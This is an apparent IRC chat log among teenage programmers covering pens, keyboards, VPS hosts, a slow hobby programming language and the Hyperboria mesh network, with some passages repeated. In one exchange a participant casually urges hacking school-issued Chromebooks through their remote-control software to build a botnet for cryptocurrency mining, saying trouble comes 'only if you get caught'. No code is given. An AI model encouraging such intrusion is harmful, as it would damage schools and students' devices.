[2015-01-05T00:30:29-0500] <Tamini> well
[2015-01-05T00:30:33-0500] <Tamini> mine is monogrammed 
[2015-01-05T00:30:34-0500] <Tamini> :P
[2015-01-05T00:30:38-0500] <Pharyngeal> Ooh
[2015-01-05T00:30:40-0500] <Tamini> I like the simplicity in design though
[2015-01-05T00:31:08-0500] <Tamini> also the nib is amazing and it actually doesn't scratch the paper
[2015-01-05T00:31:31-0500] <@awe> I don't really like any of the Lamy ones.
[2015-01-05T00:32:08-0500] <Tamini> awe: what about them don't you like?
[2015-01-05T00:32:26-0500] <Tamini> oh oh i forgot to mention 
[2015-01-05T00:32:26-0500] <@awe> The body designs seem... lame.
[2015-01-05T00:32:31-0500] <Tamini> my ever-handy pilot parallels
[2015-01-05T00:32:32-0500] <Tamini> oh LOL
[2015-01-05T00:32:43-0500] <@awe> A number of them look really tacky.
[2015-01-05T00:32:50-0500] <@awe> Including (sorry) the ones Pharyngeal has.
[2015-01-05T00:32:57-0500] <Tamini> eh
[2015-01-05T00:33:01-0500] <@awe> I like the scala better than those though.
[2015-01-05T00:33:02-0500] <Tamini> design vs pen quality
[2015-01-05T00:33:22-0500] <Pharyngeal> Heh, no worries. 
[2015-01-05T00:33:26-0500] <Tamini> if nothing else
[2015-01-05T00:33:28-0500] <@awe> for a cheap pen, the pilot metropolitan is pretty great.
[2015-01-05T00:33:30-0500] <Tamini> Lamy EF nibs.
[2015-01-05T00:33:32-0500] <Tamini> those are the way to go
[2015-01-05T00:33:54-0500] <Tamini> iunno like
[2015-01-05T00:34:22-0500] <Pharyngeal> Tamini: I have a EF, a F, and an M, but I think someone might have borrowed the EF, and I believe they have failed to return it o_o
[2015-01-05T00:34:32-0500] <Tamini> Pharyngeal: but the ef is my personal favorite D:
[2015-01-05T00:34:56-0500] <Pharyngeal> Me too, but when I was taking bulk notes for finals, I switched it with the F so I'd get more flow
[2015-01-05T00:35:03-0500] <Tamini> ah, okay
[2015-01-05T00:35:20-0500] <@awe> Yeah, I don't know if I could do with EF.
[2015-01-05T00:35:20-0500] <Tamini> I like thin lines because I have naturally very small handwriting
[2015-01-05T00:35:47-0500] <Tamini> awe: smooth ink is the way to go :P
[2015-01-05T00:35:50-0500] <@awe> I like the flow-y feeling
[2015-01-05T00:36:13-0500] <Tamini> wait so you guys have lots of different types of pens right
[2015-01-05T00:36:23-0500] <Tamini> am i the only one that uses different pens for different things just because it feels right
[2015-01-05T00:36:26-0500] <@awe> I actually don't have any right now. :D
[2015-01-05T00:36:29-0500] <Tamini> awe: D:
[2015-01-05T00:36:38-0500] <@awe> Basically, I lost almost all of them.
[2015-01-05T00:36:43-0500] <Tamini> hoooow
[2015-01-05T00:36:46-0500] <Tamini> these are my babies
[2015-01-05T00:36:48-0500] <Tamini> they never leave my sight
[2015-01-05T00:36:57-0500] <@awe> I'm not really sure.
[2015-01-05T00:37:07-0500] <@awe> They fell out of my pocket somehow.
[2015-01-05T00:38:21-0500] <Tamini> oh also
[2015-01-05T00:38:30-0500] <@awe> Somewhere in my room is a mont blanc ballpoint
[2015-01-05T00:38:31-0500] <Tamini> the ones i use for everyday stuff is the sailor clear candy
[2015-01-05T00:38:34-0500] <@awe> but I hate it because ballpoint.
[2015-01-05T00:38:39-0500] <Tamini> montblanc tho
[2015-01-05T00:38:42-0500] <Tamini> beautiful ink.
[2015-01-05T00:39:08-0500] <@awe> I like the sailor ones that I'm seeing.
[2015-01-05T00:39:38-0500] <Tamini> they make stuff for
[2015-01-05T00:39:45-0500] <Tamini> both ends of the spectrum
[2015-01-05T00:39:49-0500] <Pharyngeal> I have just the ones I listed, but unfortunately, the safaris are no good. I used to have a different sized nib on each, or a different ink. Now it's just the F Al-Star with Lamy BlueBlack 
[2015-01-05T00:40:14-0500] <Tamini> i'm very fond of the blueblack
[2015-01-05T00:40:18-0500] <Tamini> it's easier on the eyes imo
[2015-01-05T00:40:51-0500] <@awe> http://www.montblanc.com/en-us/collection/writing-instruments/meisterstueck/2851-meisterstueck-platinum-line-legrand-fountain-pen.html
[2015-01-05T00:40:53-0500] <@awe> I'd like this.
[2015-01-05T00:41:21-0500] <Tamini> that's realy nice.
[2015-01-05T00:41:41-0500] <@awe> I like the bullet-style designs.
[2015-01-05T00:41:49-0500] <Tamini> yeah, it's beautiful.
[2015-01-05T00:41:54-0500] <Tamini> I sort of want a parker pen
[2015-01-05T00:41:57-0500] <Tamini> just because
[2015-01-05T00:42:01-0500] <Tamini> but I don't have cash to throw around
[2015-01-05T00:46:31-0500] <nezorg> this is almost worse than discussions about keyboards
[2015-01-05T00:46:38-0500] <@awe> I've got a CODE :D
[2015-01-05T00:46:53-0500] <Tamini> oh my god
[2015-01-05T00:46:59-0500] <Tamini> code autocompletes to codeforces now
[2015-01-05T00:46:59-0500] <Tamini> help
[2015-01-05T00:47:15-0500] <Tamini> nezorg: are you not a pen geek like us? o-o
[2015-01-05T00:47:18-0500] <nezorg> awe: not an ibm model m? pleb
[2015-01-05T00:47:23-0500] <nezorg> Tamini: afraid not
[2015-01-05T00:47:24-0500] <@awe> o pls
[2015-01-05T00:47:32-0500] <Tamini> someone buy this man a fountain pen
[2015-01-05T00:51:24-0500] <@awe> I want keyboards that don't look like they're from the stone age, nezorg
[2015-01-05T00:51:43-0500] <nezorg> it's retro so it's cool
[2015-01-05T00:54:36-0500] <ubuntor> *maximum clicking*
[2015-01-05T00:59:47-0500] <Tamini> wait nezorg
[2015-01-05T00:59:51-0500] <Tamini> have you seen this:
[2015-01-05T00:59:53-0500] <Tamini> http://web.mit.edu/mprat/Public/web/Terminus/Web/main.html
[2015-01-05T01:00:03-0500] <Tamini> i got distracted by this and stopped doing homework rip
[2015-01-05T01:12:39-0500] <@awe> mine is still really clicking.
[2015-01-05T01:12:42-0500] <@awe> clicky*
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[2015-01-05T02:16:59-0500] <+hardmath123> well i'm off to sleep
[2015-01-05T02:17:06-0500] <+hardmath123> night night
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[2015-01-05T11:13:17-0500] <@awe> Pidgey: hyperboria does work in my VPN
[2015-01-05T11:13:19-0500] <@awe> erm
[2015-01-05T11:13:20-0500] <@awe> Pharyngeal: 
[2015-01-05T11:13:43-0500] <Pharyngeal> Awesome
[2015-01-05T11:14:21-0500] <@awe> Which is good because at school, I actually use it constantly.
[2015-01-05T11:17:56-0500] <Pharyngeal> The VPN? Why?
[2015-01-05T11:27:47-0500] <@awe> They block some websites.
[2015-01-05T11:27:53-0500] <@awe> For supposed malware reasons.
[2015-01-05T11:28:13-0500] <@awe> And I'd just rather them not have the ability to monitor my traffic.
[2015-01-05T11:29:16-0500] <@awe> It's technically not legal for them to do so because public school, but that doesn't mean they wouldn't do it.
[2015-01-05T11:44:24-0500] <The_Master> awe: it is illegal for public schools to block internet traffic?
[2015-01-05T11:44:30-0500] <@awe> No.
[2015-01-05T11:44:35-0500] <@awe> It's illegal for them to monitor traffic.
[2015-01-05T11:44:49-0500] <The_Master> ok
[2015-01-05T11:44:53-0500] <@awe> It requires a warrant, after all.
[2015-01-05T11:45:06-0500] <@awe> Public schools are agents of the state.
[2015-01-05T11:46:01-0500] <The_Master> in WWP they are now giving out computers to students which possibly any teacher can remotely control.
[2015-01-05T11:46:50-0500] <@awe> That's legal.
[2015-01-05T11:46:56-0500] <@awe> It's school property.
[2015-01-05T11:47:05-0500] <The_Master> I know
[2015-01-05T11:47:20-0500] <@awe> Get one, and then hack it
[2015-01-05T11:47:42-0500] <The_Master> jacob wants to hack my sisters
[2015-01-05T11:47:56-0500] <The_Master> or at least pentest it
[2015-01-05T11:48:10-0500] <@awe> The RAT they're using is probably vulnerable.
[2015-01-05T11:48:16-0500] <@awe> If so, you could control all of them.
[2015-01-05T11:48:20-0500] <@awe> Suddenly, school-sanctioned botnet.
[2015-01-05T11:48:57-0500] <The_Master> also people could use the video cameras
[2015-01-05T11:49:18-0500] <@awe> If you do it, use the botnet for cryptocoin mining.
[2015-01-05T11:49:34-0500] <@awe> Unless the machines only have intel graphics.
[2015-01-05T11:49:40-0500] <The_Master> awe: I think that will get me in trouble
[2015-01-05T11:49:47-0500] <The_Master> they only have intel
[2015-01-05T11:49:52-0500] <@awe> Only if you get caught.
[2015-01-05T11:49:55-0500] <The_Master> they are acer chromebooks
[2015-01-05T11:49:59-0500] <@awe> Oh, okay.
[2015-01-05T11:50:11-0500] <@awe> What to do with a botnet of chromebooks...
[2015-01-05T11:55:40-0500] <@awe> The_Master: my friend says mine bitcoins anyway
[2015-01-05T12:05:48-0500] <The_Master> awe: aren't bitcoins very volatile currently?
[2015-01-05T12:11:07-0500] <@awe> So?
[2015-01-05T12:11:12-0500] <@awe> That doesn't mean it's not a good idea.
[2015-01-05T12:14:07-0500] <Pharyngeal>  For those looking for new VPSes: Vultr is actually more competitive than both DO and Linode, and they seem to have more locations
[2015-01-05T12:15:11-0500] <The_Master> awe: is mining bitcoin the best way to make money off of computers?
[2015-01-05T12:17:42-0500] <@awe> Pharyngeal: more competitive how?
[2015-01-05T12:17:55-0500] <@awe> Pharyngeal: I've seen their twitter ads.
[2015-01-05T12:18:00-0500] <@awe> The_Master: probably.
[2015-01-05T12:18:04-0500] <Pharyngeal> Price/specs, and more locations
[2015-01-05T12:18:55-0500] <The_Master> awe: do people make money off buying bot time to mine bitcoin?
[2015-01-05T12:19:02-0500] <@awe> >buying bot time
[2015-01-05T12:19:32-0500] <The_Master> so we can make a theoretically huge amount of money doing that?
[2015-01-05T12:19:49-0500] <@awe> Sure.
[2015-01-05T12:19:58-0500] <@awe> Probably not that huge.
[2015-01-05T12:20:04-0500] <@awe> Pharyngeal: Locations definitely.
[2015-01-05T12:20:17-0500] <@awe> Pharyngeal: I have a feeling this'll work like every other VPS that is "faster" than DO though.
[2015-01-05T12:20:26-0500] <Pharyngeal> How do you mean?
[2015-01-05T12:20:40-0500] <@awe> Oversold VPSes.
[2015-01-05T12:20:45-0500] <@awe> They all perform shittily.
[2015-01-05T12:20:53-0500] <@awe> But on paper, they have better specs.
[2015-01-05T12:21:47-0500] <Pharyngeal> Well, probably? I'm currently using them, Linode, and DO, and I'm happy with all three.
[2015-01-05T12:22:05-0500] <Pharyngeal> I've used Linode the longest
[2015-01-05T12:22:09-0500] <Pharyngeal> Then DO, then Vultr
[2015-01-05T12:22:10-0500] <@awe> I've used Linode and DO both.
[2015-01-05T12:22:16-0500] <@awe> I like DO better.
[2015-01-05T12:22:20-0500] <@awe> But Linode was also really good.
[2015-01-05T12:22:29-0500] <Pharyngeal> I think I've been a Linode customer for 6 years
[2015-01-05T12:22:30-0500] <Pharyngeal> wow
[2015-01-05T12:22:54-0500] <@awe> Jeez.
[2015-01-05T12:23:05-0500] <@awe> I've been a DO customer for like two months.
[2015-01-05T12:23:17-0500] <@awe> I've never really had a VPS for an extended period of time.
[2015-01-05T12:23:35-0500] <Pharyngeal> I'm trying to remember what my first VPS was for
[2015-01-05T12:23:36-0500] <@awe> Mostly because I never really had money.
[2015-01-05T12:24:28-0500] <Pharyngeal> Huh, so actually 5 years and 3 days
[2015-01-05T12:25:30-0500] <@awe> Linode has way more distro options, right?
[2015-01-05T12:26:12-0500] <Pharyngeal> Haven't created a new vps in a while, so I'm not sure
[2015-01-05T12:30:36-0500] <@awe> the first VPS I had was http://www.caratnetworks.com
[2015-01-05T12:30:45-0500] <@awe> Why?
[2015-01-05T12:31:02-0500] <@awe> Because they don't respond to DMCAs.
[2015-01-05T12:31:39-0500] <@awe> And because they didn't care that my address was a parking garage.
[2015-01-05T12:35:13-0500] <@awe> I also used to get VPSes from http://virpus.com because they were dirt cheap.
[2015-01-05T12:35:17-0500] <@awe> They were also overloaded as hell.
[2015-01-05T12:35:58-0500] <@awe> On a coworkers recommendation, I recently got a http://cloudatcost.com with one-time payment.
[2015-01-05T12:36:01-0500] <@awe> So, I had it "forever"
[2015-01-05T12:36:03-0500] <@awe> but it doesn't work.
[2015-01-05T12:36:09-0500] <@awe> So, I got a refund.
[2015-01-05T12:36:22-0500] <@awe> Half the distro installations are broken.
[2015-01-05T12:36:27-0500] <@awe> As in, they don't work at all.
[2015-01-05T12:36:33-0500] <@awe> You boot up and then can't install anything.
[2015-01-05T12:36:49-0500] <@awe> The only working one is some sort of weird mix of debian and ubuntu repos
[2015-01-05T12:36:53-0500] <@awe> and it can't do a distro upgrade or anything
[2015-01-05T12:36:56-0500] <@awe> because it also breaks.
[2015-01-05T12:37:19-0500] <@awe> My coworker was just like "Well, it doesn't really matter as long as it works."
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[2015-01-05T12:37:25-0500] <@awe> It did not work.
[2015-01-05T12:42:18-0500] <+hardmath123> last day of vacation whooo
[2015-01-05T12:45:37-0500] <alokpathy> Aw
[2015-01-05T12:45:40-0500] <alokpathy> you still have off .-.
[2015-01-05T12:46:09-0500] <@awe> I have 5 more days before I go to NJ
[2015-01-05T12:46:16-0500] <@awe> and then a week before I go to MA.
[2015-01-05T12:51:38-0500] <alokpathy> You leave on the 17th?
[2015-01-05T13:24:38-0500] <The_Master> awe: we will have to organize a hsctf 2014 organizers meet up.
[2015-01-05T13:25:19-0500] <alokpathy> The_Master: It'd have to be without Ernest.
[2015-01-05T13:25:23-0500] <alokpathy> He's already back in college.
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[2015-01-05T15:29:06-0500] <+JacobEdelman> hello!
[2015-01-05T15:30:56-0500] <+hardmath123> JacobEdelman: are(n't) you at school?
[2015-01-05T15:31:57-0500] <alokpathy> hardmath123: Our school ended about a half hour ago.
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[2015-01-05T15:53:56-0500] <+JacobEdelman> yup, school's done
[2015-01-05T15:53:57-0500] <alokpathy> hardmath123: Could you kill Study_Bot plz? .-.
[2015-01-05T15:53:59-0500] <alokpathy> too many pings
[2015-01-05T15:54:13-0500] <+JacobEdelman> I kicked it
[2015-01-05T15:54:29-0500] <alokpathy> That works too.
[2015-01-05T15:54:49-0500] <+JacobEdelman> hardmath123: normally I'm on during school but computer probs...
[2015-01-05T15:57:44-0500] <+hardmath123> alokpathy: you could just, y'know, leave the channel :P
[2015-01-05T15:59:03-0500] <+hardmath123> anyhow, gone. let me know if you want him back
[2015-01-05T16:10:27-0500] <alokpathy> ....that is also an option
[2015-01-05T16:10:30-0500] <alokpathy> lolol okay
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[2015-01-05T16:52:18-0500] <+JacobEdelman> lark is now ~750 lines or so
[2015-01-05T16:52:48-0500] <+JacobEdelman> sadly, I'm gonna have to do a complete rewrite soon enough
[2015-01-05T16:53:05-0500] <+JacobEdelman> but at least I'll have a proof of concept first
[2015-01-05T16:53:20-0500] <+JacobEdelman> so when people ask "what do you mean by mutable syntax" I can point them to this
[2015-01-05T16:55:39-0500] <+JacobEdelman> (you may ask why I have to do a rewrite, well, the estimated coefficient for js time to lark time is 1,000,000)
[2015-01-05T16:56:19-0500] <@awe> Unsurprising.
[2015-01-05T16:56:19-0500] <+JacobEdelman> which is a tad high, even for me
[2015-01-05T16:56:29-0500] <+JacobEdelman> well, fundementally it doesn't have to be
[2015-01-05T16:56:38-0500] <+JacobEdelman> but I'm doing a lot of things ineffintely
[2015-01-05T16:56:48-0500] <+JacobEdelman> and parts of it are jurry rigged, so they are not fast
[2015-01-05T16:56:59-0500] <+hardmath123> JacobEdelman: don't rewrite it
[2015-01-05T16:57:05-0500] <+JacobEdelman> hardmath123: why not?
[2015-01-05T16:57:15-0500] <+JacobEdelman> taking 10 set to do 3*100 is okay with you?
[2015-01-05T16:57:20-0500] <+hardmath123> yes
[2015-01-05T16:57:24-0500] <+JacobEdelman> *10 seconds
[2015-01-05T16:57:24-0500] <+hardmath123> make it work right first
[2015-01-05T16:57:29-0500] <+JacobEdelman> I know that
[2015-01-05T16:57:42-0500] <+JacobEdelman> the good news is the big O is correct
[2015-01-05T16:57:51-0500] <+hardmath123> you aren't going to get it to work right
[2015-01-05T16:57:55-0500] <+hardmath123> if you keep tearing it down
[2015-01-05T16:57:58-0500] <+JacobEdelman> I know
[2015-01-05T16:58:04-0500] <+JacobEdelman> which is why I'm gonna get it to work right
[2015-01-05T16:58:08-0500] <+JacobEdelman> than tear it down
[2015-01-05T16:58:19-0500] <+JacobEdelman> :P
[2015-01-05T16:59:18-0500] <+JacobEdelman> making a programming language is fun
[2015-01-05T16:59:25-0500] <bob_twinkles> ground up rewrites almost never work out though
[2015-01-05T16:59:31-0500] <+JacobEdelman> mine tend too
[2015-01-05T16:59:41-0500] <+JacobEdelman> what would the problem be?
[2015-01-05T17:00:05-0500] <+JacobEdelman> the reason I need to do a rewrite is I didn't have the entire program structure in mind when I built it, so I kept having to make modifications to code
[2015-01-05T17:00:13-0500] <bob_twinkles> you're throwing out a significant amount of engineering effort with no guarantee that what you replace it with is going to be better
[2015-01-05T17:00:19-0500] <+JacobEdelman> it is
[2015-01-05T17:00:20-0500] <+JacobEdelman> trust me
[2015-01-05T17:00:28-0500] <+JacobEdelman> I'm not throwing out the effort
[2015-01-05T17:00:33-0500] <+JacobEdelman> I learned a huge amount
[2015-01-05T17:00:43-0500] <+JacobEdelman> like exactly what my internal core needs to do
[2015-01-05T17:00:47-0500] <+JacobEdelman> and how it should do it
[2015-01-05T17:00:48-0500] <+JacobEdelman> and such
[2015-01-05T17:00:59-0500] <+JacobEdelman> (also, what features I should enforce to make the language much faster)
[2015-01-05T17:01:25-0500] <+JacobEdelman> bob_twinkles: there is no way I'm salvaging it.... its about 1,000,000*slower than js right now
[2015-01-05T17:01:57-0500] <+JacobEdelman> bob_twinkles: it takes 10 seconds to do multiplication
[2015-01-05T17:02:05-0500] <+JacobEdelman> bob_twinkles: of 3*100
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[2015-01-05T16:56:19-0500] <@awe> Unsurprising.
[2015-01-05T16:56:19-0500] <+JacobEdelman> which is a tad high, even for me
[2015-01-05T16:56:29-0500] <+JacobEdelman> well, fundementally it doesn't have to be
[2015-01-05T16:56:38-0500] <+JacobEdelman> but I'm doing a lot of things ineffintely
[2015-01-05T16:56:47-0500] <+JacobEdelman> and parts of it are jurry rigged, so they are not fast
[2015-01-05T16:56:59-0500] <+hardmath123> JacobEdelman: don't rewrite it
[2015-01-05T16:57:05-0500] <+JacobEdelman> hardmath123: why not?
[2015-01-05T16:57:15-0500] <+JacobEdelman> taking 10 set to do 3*100 is okay with you?
[2015-01-05T16:57:20-0500] <+hardmath123> yes
[2015-01-05T16:57:24-0500] <+JacobEdelman> *10 seconds
[2015-01-05T16:57:24-0500] <+hardmath123> make it work right first
[2015-01-05T16:57:29-0500] <+JacobEdelman> I know that
[2015-01-05T16:57:42-0500] <+JacobEdelman> the good news is the big O is correct
[2015-01-05T16:57:51-0500] <+hardmath123> you aren't going to get it to work right
[2015-01-05T16:57:55-0500] <+hardmath123> if you keep tearing it down
[2015-01-05T16:57:58-0500] <+JacobEdelman> I know
[2015-01-05T16:58:04-0500] <+JacobEdelman> which is why I'm gonna get it to work right
[2015-01-05T16:58:08-0500] <+JacobEdelman> than tear it down
[2015-01-05T16:58:19-0500] <+JacobEdelman> :P
[2015-01-05T16:59:18-0500] <+JacobEdelman> making a programming language is fun
[2015-01-05T16:59:25-0500] <bob_twinkles> ground up rewrites almost never work out though
[2015-01-05T16:59:31-0500] <+JacobEdelman> mine tend too
[2015-01-05T16:59:41-0500] <+JacobEdelman> what would the problem be?
[2015-01-05T17:00:05-0500] <+JacobEdelman> the reason I need to do a rewrite is I didn't have the entire program structure in mind when I built it, so I kept having to make modifications to code
[2015-01-05T17:00:13-0500] <bob_twinkles> you're throwing out a significant amount of engineering effort with no guarantee that what you replace it with is going to be better
[2015-01-05T17:00:19-0500] <+JacobEdelman> it is
[2015-01-05T17:00:20-0500] <+JacobEdelman> trust me
[2015-01-05T17:00:28-0500] <+JacobEdelman> I'm not throwing out the effort
[2015-01-05T17:00:33-0500] <+JacobEdelman> I learned a huge amount
[2015-01-05T17:00:43-0500] <+JacobEdelman> like exactly what my internal core needs to do
[2015-01-05T17:00:47-0500] <+JacobEdelman> and how it should do it
[2015-01-05T17:00:48-0500] <+JacobEdelman> and such
[2015-01-05T17:00:59-0500] <+JacobEdelman> (also, what features I should enforce to make the language much faster)
[2015-01-05T17:01:25-0500] <+JacobEdelman> bob_twinkles: there is no way I'm salvaging it.... its about 1,000,000*slower than js right now
[2015-01-05T17:01:57-0500] <+JacobEdelman> bob_twinkles: it takes 10 seconds to do multiplication
[2015-01-05T17:02:05-0500] <+JacobEdelman> bob_twinkles: of 3*100
[2015-01-05T17:02:21-0500] <+JacobEdelman> bob_twinkles: and that's after I spent a few hours working on making it faster
[2015-01-05T17:02:25-0500] <bob_twinkles> what the hell did you do?
[2015-01-05T17:02:31-0500] <+JacobEdelman> string replacment badly
[2015-01-05T17:02:35-0500] <+hardmath123> ...
[2015-01-05T17:02:35-0500] <+JacobEdelman> also
[2015-01-05T17:02:38-0500] <+JacobEdelman> the problem is
[2015-01-05T17:02:41-0500] <+JacobEdelman> it does parsing on
[2015-01-05T17:02:43-0500] <+JacobEdelman> 3*100
[2015-01-05T17:02:45-0500] <+JacobEdelman> to get
[2015-01-05T17:02:57-0500] <+JacobEdelman> 3*(100-1)+3
[2015-01-05T17:03:00-0500] <+JacobEdelman> does parsing on that
[2015-01-05T17:03:01-0500] <+JacobEdelman> to get
[2015-01-05T17:03:04-0500] Mode is +ns
[2015-01-05T17:03:13-0500] <+JacobEdelman> (3*(100-2)+3)+3
[2015-01-05T17:03:17-0500] <bob_twinkles> aaaaaaand this is why we don't evaluate functions by repeatedly inlining them
[2015-01-05T17:03:17-0500] <+JacobEdelman> and keeps growing
[2015-01-05T17:03:20-0500] <@awe> bob_twinkles: inb4 he rewrites it and it's 995,000 times slower than JS.
[2015-01-05T17:03:25-0500] <bob_twinkles> lol
[2015-01-05T17:03:52-0500] <bob_twinkles> JacobEdelman: did you read _any_ of the literature on how this sort of language is usually implemented?
[2015-01-05T17:03:55-0500] <+JacobEdelman> bob_twinkles: yeah. I think I get what I need to fix to make it work
[2015-01-05T17:03:59-0500] <+JacobEdelman> bob_twinkles: there isn't any
[2015-01-05T17:04:04-0500] <+JacobEdelman> bob_twinkles: no literatur
[2015-01-05T17:04:09-0500] <+JacobEdelman> *literature
[2015-01-05T17:04:12-0500] <bob_twinkles> -_-
[2015-01-05T17:04:17-0500] <bob_twinkles> sounds like you need a STG =P
[2015-01-05T17:04:34-0500] <+JacobEdelman> shiny toy guns?
[2015-01-05T17:04:35-0500] <+JacobEdelman> https://duckduckgo.com/Shiny_Toy_Guns?ia=about
[2015-01-05T17:04:40-0500] <+JacobEdelman> star trek next generation
[2015-01-05T17:04:45-0500] <bob_twinkles> Spineless Tagless G-Machine
[2015-01-05T17:04:49-0500] <+JacobEdelman> oh, that
[2015-01-05T17:04:57-0500] <+JacobEdelman> ... I really have to look at that
[2015-01-05T17:05:08-0500] <bob_twinkles> it's the magic at the core of Haskell's lazyness
[2015-01-05T17:05:15-0500] <@awe> https://en.wikipedia.org/wiki/Superior_temporal_gyrus
[2015-01-05T17:05:16-0500] <@awe> STG.
[2015-01-05T17:05:18-0500] <+JacobEdelman> this is going to either be a revelation or its gonna cause my brain to implode
[2015-01-05T17:05:33-0500] <@awe> bob_twinkles: do you really think he's going to be able to implement one?
[2015-01-05T17:05:58-0500] <bob_twinkles> maybe, they're actually pretty simple for a naive implementation
[2015-01-05T17:06:18-0500] <bob_twinkles> it's the parsing/translation to STG atoms that's hard =P
[2015-01-05T17:06:23-0500] <+JacobEdelman> okay, I get graph reduction
[2015-01-05T17:06:46-0500] <+JacobEdelman> which is basicly my plan for implementing term reduction, just to represent it as a graph
[2015-01-05T17:06:52-0500] <+JacobEdelman> which it should make it much faster
[2015-01-05T17:06:56-0500] <+JacobEdelman> when I rewrite lark
[2015-01-05T17:07:20-0500] <+JacobEdelman> and since I have no idea how to make a spine or tags, it can't have those, right ? :P
[2015-01-05T17:12:57-0500] <+JacobEdelman> bob_twinkles: you seem to know a lot about stg implementation, you have any interesting links I should look at?
[2015-01-05T17:13:02-0500] <@awe> bob_twinkles: plus, his won't be fast because it'll be implemented in JS and won't be able to do any of the low-level things.
[2015-01-05T17:13:26-0500] <@awe> Here's a high-level paper by the two Simons. 
[2015-01-05T17:13:27-0500] <@awe> http://research.microsoft.com/en-us/um/people/simonpj/papers/eval-apply/
[2015-01-05T17:14:02-0500] <@awe> Here's a high-level implementation of an STG.
[2015-01-05T17:14:02-0500] <@awe> https://github.com/bjpop/ministg
[2015-01-05T17:14:09-0500] <+JacobEdelman> apparentely "Saturated primitive application of a primitive to variable" is one of the types of stg expressions
[2015-01-05T17:14:12-0500] <+JacobEdelman> I'm confused
[2015-01-05T17:16:28-0500] <@awe> You know, I have another friend implementing a programming language designed to be useful to him.
[2015-01-05T17:16:38-0500] <@awe> His isn't 1,000,000x slower than JS.
[2015-01-05T17:20:25-0500] <+JacobEdelman> what is it?
[2015-01-05T17:20:30-0500] <+JacobEdelman> link me
[2015-01-05T17:20:39-0500] <@awe> It's not open source.
[2015-01-05T17:20:44-0500] <@awe> (Yet)
[2015-01-05T17:20:47-0500] <+hardmath123> awe: so because circumstances, i need to go learn about type systems.
[2015-01-05T17:21:26-0500] <+hardmath123> do you have a favorite resource that might accelerate the process?
[2015-01-05T17:22:53-0500] <@awe> The book I'm reading is great.
[2015-01-05T17:23:37-0500] <@awe> hardmath123: https://dl.dropboxusercontent.com/u/8097711/Types%20and%20Programming%20Languages.pdf
[2015-01-05T17:23:47-0500] <+hardmath123> thanks
[2015-01-05T17:23:56-0500] <@awe> You're welcome.
[2015-01-05T17:24:28-0500] <@awe> JacobEdelman, hardmath123: are you guys going to get in on Hyperboria now?
[2015-01-05T17:25:03-0500] <+hardmath123> probably not me, no
[2015-01-05T17:25:10-0500] <+JacobEdelman> not right now
[2015-01-05T17:25:13-0500] <+JacobEdelman> soon
[2015-01-05T17:25:13-0500] <@awe> Lame.
[2015-01-05T17:27:53-0500] <+JacobEdelman> what is the benefit to joining Hyperboria
[2015-01-05T17:28:00-0500] <+JacobEdelman> ?
[2015-01-05T17:31:12-0500] <bob_twinkles> you get to be in the suuuuper seeeeecrit club
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[2015-01-05T17:25:13-0500] <@awe> Lame.
[2015-01-05T17:27:53-0500] <+JacobEdelman> what is the benefit to joining Hyperboria
[2015-01-05T17:28:00-0500] <+JacobEdelman> ?
[2015-01-05T17:31:12-0500] <bob_twinkles> you get to be in the suuuuper seeeeecrit club
[2015-01-05T17:35:57-0500] Mode is +ns
[2015-01-05T17:36:07-0500] <@awe> You get to be a pioneer of a new internet.
[2015-01-05T17:37:23-0500] <@awe> JacobEdelman: plus, it's got security at a protocol-level
[2015-01-05T17:37:42-0500] <@awe> JacobEdelman: and we can build all sorts of things that normal clearweb plebs can't access.
[2015-01-05T17:37:57-0500] <@awe> JacobEdelman: including that DNS server that you wanted.
[2015-01-05T17:38:00-0500] <+JacobEdelman> wait
[2015-01-05T17:38:11-0500] <+JacobEdelman> I can build that on the regular internet
[2015-01-05T17:38:26-0500] <@awe> You can build what on the regular internet?
[2015-01-05T17:38:36-0500] <@awe> Things that clearweb plebs can't access?
[2015-01-05T17:50:15-0500] <@awe> JacobEdelman: oh, you probably meant the DNS server.
[2015-01-05T17:50:23-0500] <@awe> JacobEdelman: yeah, you can implement that on clearweb, but it's not as cool
[2015-01-05T17:50:36-0500] <+JacobEdelman> fine
[2015-01-05T17:50:46-0500] <+JacobEdelman> I'll get hyporbia once I have my computer back
[2015-01-05T17:50:50-0500] <+JacobEdelman> its being repaired right now
[2015-01-05T17:50:50-0500] <@awe> Sweet.
[2015-01-05T17:50:54-0500] <@awe> It's really easy on Ubuntu.
[2015-01-05T17:50:59-0500] <@awe> you download it
[2015-01-05T17:51:01-0500] <@awe> you debuild
[2015-01-05T17:51:08-0500] <@awe> then install the package
[2015-01-05T17:51:24-0500] <@awe> and then just edit the configuration file and then service cjdns restart
[2015-01-05T17:53:58-0500] <+JacobEdelman> wait
[2015-01-05T17:54:06-0500] <+JacobEdelman> how many people use it right now?
[2015-01-05T17:56:49-0500] <@awe> Hyperboria?
[2015-01-05T17:57:19-0500] <@awe> I'm not sure.
[2015-01-05T17:57:21-0500] <@awe> Pharyngeal: ?
[2015-01-05T18:01:41-0500] <Pharyngeal> awe: I don't think there's an accurate number anywhere, because not all of the users are on IRC. According to fc00, 387 nodes are currently seen, but that's not the entire network. 
[2015-01-05T18:01:52-0500] <Pharyngeal> Also, not all cjdns users are part of hyperboria
[2015-01-05T18:01:54-0500] <@awe> Right.
[2015-01-05T18:02:00-0500] <@awe> I just wanted an estimate.
[2015-01-05T18:02:05-0500] <Pharyngeal> Yeah, I'm not sure.
[2015-01-05T18:02:20-0500] <+JacobEdelman> yeah, thats the number I saw
[2015-01-05T18:02:29-0500] <+JacobEdelman> only ~387 people?
[2015-01-05T18:02:33-0500] <+JacobEdelman> wow, thats small
[2015-01-05T18:02:50-0500] <Pharyngeal> That fc00 can see. fc00 can't see every node
[2015-01-05T18:03:09-0500] <Pharyngeal> It's not too small, it
[2015-01-05T18:03:13-0500] <Pharyngeal> cjdns is still alpha
[2015-01-05T18:03:25-0500] <+JacobEdelman> still, its smaller than I thought
[2015-01-05T18:03:28-0500] <Pharyngeal> Ah
[2015-01-05T18:03:28-0500] <Pharyngeal> Okay
[2015-01-05T18:04:51-0500] <@awe> How many people do you expect to be interested in nerdy p2p routing solutions?
[2015-01-05T18:09:26-0500] <+JacobEdelman> well, you say its the future
[2015-01-05T18:09:34-0500] <+JacobEdelman> so, at some point it must go main stream
[2015-01-05T18:09:40-0500] <+JacobEdelman> and right now its pretty far from that
[2015-01-05T18:10:33-0500] <Pharyngeal> JacobEdelman: Hyperboria is somewhat of a test for cjdns. The goal of cjdns is to establish a secure network that isn't dependent on the internet
[2015-01-05T18:11:09-0500] <+hardmath123> awe: can i do hyperboria without messing with "normal" network settings?
[2015-01-05T18:11:14-0500] <@awe> Yes.
